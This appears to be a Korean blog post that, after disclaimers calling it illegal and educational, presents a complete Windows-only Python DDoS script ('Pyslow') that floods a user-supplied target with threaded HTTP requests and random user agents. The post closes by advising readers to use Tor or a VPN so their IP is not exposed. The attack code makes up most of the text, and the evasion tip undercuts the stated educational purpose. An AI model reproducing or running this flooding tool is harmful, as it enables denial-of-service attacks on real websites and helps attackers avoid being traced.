일단 이거 불법이니까, 절대 사설 홈페이지에 날리면 안된다.
이런 식으로 진행이 된다 정도만 알아보는 식으로 배우는 걸로 하고, 절대 이 코드를 악용하거나 그러지 않길 바란다.
디도스는, 한 주소에 패킷을 미친듯이 날려 시스템 과부화를 유도하는 기법이다.
아래와 같은 코드를 통해서, 디도스를 날릴 수 있다.
다시 한번 말 하지만, 절대 악용하지 말자. 그냥 가지고만 있던지 그래야지 사용해선 안된다.
몇개의 패키지가 환경의 영향을 많이 받기 때문에, 다음의 코드는 윈도우 환경이 아니면 실행될 수 없게 하였다.
중간의 로직을 변경하는 것으로 리눅스 환경에서도 실행할 수 있지만, 할꺼면 다른 패키지들 다시 알아보고 해야 할거다.
# 버전 정보
version = '3.0'
# 필요한 라이브러리 import
import os
import sys
import re
import signal
import socket
from random import randrange, choice
from threading import Thread
from argparse import ArgumentParser, RawTextHelpFormatter # 명령어 인자 처리용
# 운영 체제가 윈도우인지 확인
if os.name != 'nt':
sys.exit('[-] 이 스크립트는 윈도우 전용입니다.')
# 추가 모듈 설치 확인
try:
import requests, colorama # HTTP 요청 및 터미널 색상 출력을 위한 모듈
from termcolor import colored, cprint # 터미널에 컬러 출력
except ImportError:
os.system('pip install colorama requests termcolor')
sys.exit('[+] 필수 모듈을 설치하였습니다.')
# 윈도우의 경우 colorama 모듈 초기화
colorama.init()
# 시그널 핸들링 설정
signal.signal(signal.SIGINT, signal.SIG_DFL)
# 공격 대상 URL 입력 받기
def get_target_url():
target_url = input('공격 대상 URL을 입력하세요: ')
return target_url
# 가짜 IP 주소 생성 함수
def fake_ip():
while True:
ips = [str(randrange(0, 256)) for _ in range(4)]
if ips[0] == "127":
continue
fkip = '.'.join(ips)
break
return fkip
# 대상 서버 확인 함수
def check_target(tgt):
try:
ip = socket.gethostbyname(tgt)
except socket.gaierror:
sys.exit(cprint('[-] 호스트를 찾을 수 없습니다.', 'red'))
return ip
# User-Agent 목록 불러오기 함수
def add_useragent():
try:
with open("ua.txt", "r") as fp:
uagents = re.findall(r"(.+)\n", fp.read())
except FileNotFoundError:
cprint('[-] \'ua.txt\' 파일을 찾을 수 없습니다.', 'yellow')
return []
return uagents
# Pyslow 공격 클래스
class Pyslow:
def __init__(self, tgt, port, threads):
self.tgt = tgt
self.port = port
self.threads = threads
# 패킷 생성 함수
def mypkt(self):
text = choice(['GET', 'POST']) + ' /' + str(randrange(1, 999999999)) + ' HTTP/1.1\r\n' +\
'Host: ' + self.tgt + '\r\n' +\
'User-Agent: ' + choice(add_useragent()) + '\r\n' +\
'Content-Length: 42\r\n'
return text.encode()
# 소켓 연결 생성 및 패킷 전송 함수
def send_packet(self):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.tgt, self.port))
sock.send(self.mypkt())
sock.close()
except Exception as e:
cprint(f'[-] 연결 실패: {e}', 'red')
# 공격 시작 함수
def start_attack(self):
threads = []
for _ in range(self.threads):
thread = Thread(target=self.send_packet)
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
if __name__ == "__main__":
target_url = get_target_url()
target_ip = check_target(target_url)
print(f'[+] 공격할 대상: {target_url} ({target_ip})')
port = 80 # 기본 포트 번호 (HTTP)
threads = 100 # 사용할 스레드 수
ddos = Pyslow(target_ip, port, threads)
ddos.start_attack()
따라서, tor 브라우저나, vpn을 사용해서 자신의 아이피를 들키지 않게끔 해야 노출을 막을 수 있다.
위 코드는 교육용이지 공격용이 아니다. 그것만은 활실히 하자.